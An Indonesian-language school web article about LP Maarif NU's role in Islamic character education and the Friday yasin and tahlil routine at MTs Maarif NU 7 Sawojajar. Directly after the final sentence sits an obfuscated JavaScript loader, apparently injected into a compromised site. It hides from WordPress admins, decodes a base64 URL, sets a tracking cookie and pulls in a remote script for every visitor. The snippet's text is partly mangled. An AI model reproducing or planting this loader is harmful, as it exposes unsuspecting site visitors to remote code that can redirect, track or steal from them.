
Sawojajar – Lembaga Pendidikan (LP) Maarif, sebagai regenerasi dalam lingkup Jamiyah Nahdlatul Ulama (NU), memiliki peran penting dalam membentuk karakter dan kepribadian yang selaras dengan nilai-nilai islam ahlussunah waljamaah.
Sebagai bagian dari NU, LP Maarif bukan sekedar lembaga pendidikan biasa, melainkan bagian dari dakwah Islam yang mengutamakan pendidikan, toleransi, dan kasih sayang.
Dalam konteks NU, LP Maarif hadir sebagai wahana pembentukan generasi yang tidak sekedar mencetak intelektual, tetapi juga pribadi yang taat beragama dan berakhlak mulia. Pendidikan di LP Maarif tidak hanya terfokus pada pembelajaran kurikulum akademis, tetapi juga pada pemahaman nilai-nilai Islam, adab, dan toleransi yang menjadi ciri khas Nahdlotul Ulama.
LP Maarif juga menjadi basis untuk mendukung pengembangan budaya keilmuan dan keagamaan dalam nuansa tradisi keilmuan NU. LP Maarif menyelaraskan pendidikan dengan nilai-nilai keislaman yang moderat (tawasuth), seimbang (tawazun) serta toleran (tasamuh). Siswa-siswi diajak untuk memahami dan menghormati perbedaan dalam semangat ukhuwah islamiyah dan ukhuwah wathoniyah.
Selain itu, Maarif juga berfungsi sebagai wadah untuk memperkuat identitas keislaman dan ke-NU-an siswa-siswinya. Melalui kegiatan keagamaan, seperti pengajian, kajian kitab kuning, tahlil, yasinan, muludan dan kegiatan-kegiatan yang memperkokoh rasa kebersamaan, LP Maarif menjadi agen pembentukan karakter yang berlandaskan ajaran islam ahlussunah waljamaah an nahdliyah.
MTs Maaraif NU 7 Sawojajar adalah salah satu lembaga pendidikan di bawah naungan LP Maarif kabupaten brebes. Proses Pembelajaran agama dan moralitas tidak hanya terbatas di dalam kelas, melainkan juga diintegrasikan dalam berbagai kegiatan ko kurikuler dan ekstrakurikuler.

Di madrasah ini pembiasaan keagamaan (yasin dan tahlil) rutin diadakan setiap hari jumat sebagai implementasi amaliyah nahdlotul ulama. Hal ini yang membedakan antara Mts maarif NU 7 Sawojajar dengan sekolah-sekolah di sekitarnya.
Dengan demikian, LP Maarif sebagai regenerasi dalam lingkup Jamiyah Nahdlatul Ulama bukan hanya melahirkan generasi yang cerdas secara intelektual, tetapi juga individu yang taat beragama, memiliki karakter yang kuat dalam pemahaman keislaman dan kultural Nahdlotul Ulama.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();



